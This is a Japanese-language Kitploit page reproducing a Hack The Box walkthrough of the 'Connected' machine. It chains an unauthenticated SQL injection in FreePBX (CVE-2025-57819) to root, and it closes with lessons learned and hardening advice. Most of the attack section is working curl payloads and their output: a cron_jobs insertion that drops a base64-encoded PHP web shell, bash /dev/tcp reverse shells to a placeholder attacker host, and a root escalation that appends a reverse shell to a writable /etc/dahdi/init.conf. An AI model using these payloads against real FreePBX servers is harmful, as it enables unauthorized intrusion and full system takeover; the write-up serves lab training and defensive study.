Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
FreePBX-SQLi-Exploit-Privilege-escalation — このウォークスルーでは、HTBマシン「Connected」の完全な侵害プロセスを文書化しています。 | Kitploit
ツール/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
特権昇格脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

このウォークスルーでは、HTBマシン「Connected」の完全な侵害プロセスを文書化しています。

リポジトリを見る
1171ヶ月前未レビュー

FreePBX: 認証なしSQLインジェクションからルートシェルへの道のり

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 エグゼクティブサマリー

このウォークスルーは、HTBマシンConnectedの完全な侵害プロセスを文書化したものです。

攻撃チェーンは、FreePBXの認証なしSQLインジェクションの脆弱性から始まり、細工したcronジョブを介してasteriskユーザーとしてのコード実行を獲得します。その後、書き込み可能な設定ファイルとincronトリガーを組み合わせることで、rootへの権限昇格が可能になります。

このケースは、Webアプリケーションの脆弱性が、脆弱なローカル権限設定や安全でない特権自動化と組み合わさることで、システム全体の侵害につながることを示しています。


🔍 ステップ1 – 列挙と仮想ホストの発見

高速ポートスキャンにより、ターゲットの開放ポートが明らかになります:

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
ポートサービス
22SSH
80HTTP
443HTTPS

さらに調査すると、PHP 7.4を実行するApacheサーバーが確認され、以下の場所へのHTTPリダイレクトが行われています:

root@kitploit:~
http://connected.htb/

サイトに正しくアクセスするには、仮想ホストのマッピングを追加します:

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

http://connected.htb/にブラウズすると、以下が表示されます:

root@kitploit:~
FreePBX 16.0.40.7

🕳️ ステップ2 – CVE-2025-57819(SQLインジェクション)の悪用

調査により、FreePBXのEndpoint Managerコンポーネントにおける認証なしエラーベースSQLインジェクションの脆弱性であるCVE-2025-57819が特定されました。

データベースユーザーを抽出して脆弱性を確認します:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

レスポンスには以下が含まれます:

root@kitploit:~
~USER:freepbxuser@localhost~

これにより、SQLインジェクションが機能し、アプリケーションが以下のユーザーとしてMySQLに接続していることが確認されます:

root@kitploit:~
freepbxuser@localhost

⚙️ ステップ3 – スケジュールタスクによるコード実行の獲得

FreePBXはスケジュールされたジョブをcron_jobsテーブルに保存します。

このテーブルに悪意のあるエントリを注入することで、任意のコマンドを実行するようにスケジュールできます。

以下のペイロードは、WebルートにPHPウェブシェルを作成します:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

サーバーは一般的な500エラーを返しますが、SQLステートメントは正常に実行されます。

約1分後、ウェブシェルが作成されたことを確認します:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

出力:

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

これで、HTTPリクエストを通じてasteriskユーザーとしてのコマンド実行が可能になりました。


💻 ステップ4 – インタラクティブなリバースシェルの確立

攻撃マシンでNetcatリスナーを起動します:

root@kitploit:~
nc -lvnp 4444

ウェブシェルを通じてBashリバースシェルをトリガーします:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

接続が確立されます:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

これで、asteriskユーザーとしてのインタラクティブシェルが得られました。


🔎 ステップ5 – ローカル列挙と権限昇格パスの特定

既知の誤検知を除外して、/etc配下の書き込み可能なファイルを検索します:

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

注目すべき結果は以下の通りです:

root@kitploit:~
/etc/dahdi/init.conf

次に、incron設定を確認します:

root@kitploit:~
cat /etc/incron.d/*

これにより、以下のファイルシステムウォッチャーが明らかになります:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

つまり、センチネルファイル:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

に書き込みが行われるたびに、以下のスクリプトが実行されます:

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

スクリプトを調査すると、以下をソースしていることがわかります:

root@kitploit:~
/etc/dahdi/init.conf

/etc/dahdi/init.confはasteriskユーザーによって書き込み可能であり、rootプロセスによってソースされるため、rootとしての任意のコマンド実行への経路を提供します。


🚀 ステップ6 – DAHDIを介したrootへの権限昇格

ポート4445で2つ目のNetcatリスナーを起動します:

root@kitploit:~
nc -lvnp 4445

asteriskシェルから、書き込み可能な設定ファイルにリバースシェルペイロードを追加します:

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

監視対象ファイルに書き込むことでincronアクションをトリガーします:

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

数秒以内に、rootシェルが接続します:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 完全なrootアクセスを獲得しました!


🏁 ステップ7 – フラグの取得

ユーザーフラグ

root@kitploit:~
cat /home/asterisk/user.txt

出力:

root@kitploit:~
HTB{...user_flag...}

ルートフラグ

root@kitploit:~
cat /root/root.txt

出力:

root@kitploit:~
HTB{...root_flag...}

📚 攻撃チェーンサマリー

root@kitploit:~
認証なしSQLインジェクション
            │
            ▼
     MySQLクエリ実行
            │
            ▼
   悪意のあるCronジョブの挿入
            │
            ▼
      PHPウェブシェル
            │
            ▼
      asteriskシェル
            │
            ▼
 書き込み可能な /etc/dahdi/init.conf
            │
            ▼
       incronトリガー
            │
            ▼
      rootコマンド実行
            │
            ▼
          root

📊 学んだ教訓

脆弱性影響
認証なしSQLインジェクションデータベースユーザーコンテキストを露呈し、悪意のあるデータ書き込みの足掛かりを提供
Cronジョブインジェクション低権限サービスアカウントとしてのリモートコード実行を可能にした
書き込み可能な設定ファイル + incronrootへの直接的な権限昇格を可能にした
ユーザー書き込み可能ファイルをソースする特権スクリプトroot権限で任意のコマンドを実行することを可能にした

🔐 推奨事項

1. ユーザー入力を検証する

すべてのデータベース操作にパラメータ化クエリと厳格な入力検証を使用してください。

ユーザー制御の入力をSQLクエリに直接連結しないでください。

2. 設定ファイルの権限を制限する

特権サービスが使用する設定ファイルは、低権限のサービスアカウントによって書き込み可能であってはなりません。

特に、以下の配下のファイルの権限を確認してください:

root@kitploit:~
/etc/

3. CronジョブとIncronジョブをレビューする

スケジュールされたタスクとファイルシステムウォッチャーを定期的に監査してください。

特権ジョブは、信頼できないユーザーが変更できるファイルに基づいてコマンドを実行すべきではありません。

4. 信頼できない設定のソースを避ける

root所有のスクリプトは、非特権ユーザーによって変更できる設定ファイルをソースすることを避けるべきです。

5. 最小権限の原則を適用する

Webアプリケーションとサービスは、その運用に必要な最小限の権限で実行されるべきです。

FreePBX/Apache環境の権限を削減することで、アプリケーション侵害の成功時の影響を大幅に制限できます。


🏆 最終攻撃チェーン

root@kitploit:~
CVE-2025-57819
      │
      ▼
認証なしSQLインジェクション
      │
      ▼
cron_jobsテーブルの操作
      │
      ▼
スケジュールされたPHPウェブシェル
      │
      ▼
asteriskユーザー
      │
      ▼
書き込み可能な /etc/dahdi/init.conf
      │
      ▼
incronファイルウォッチャー
      │
      ▼
特権DAHDIスクリプト
      │
      ▼
rootシェル
      │
      ▼
🏆 完全なシステム侵害

免責事項: この記事は、Hack The Boxラボや管理された環境などの教育目的および認可されたセキュリティテストを意図しています。

ツールをダウンロード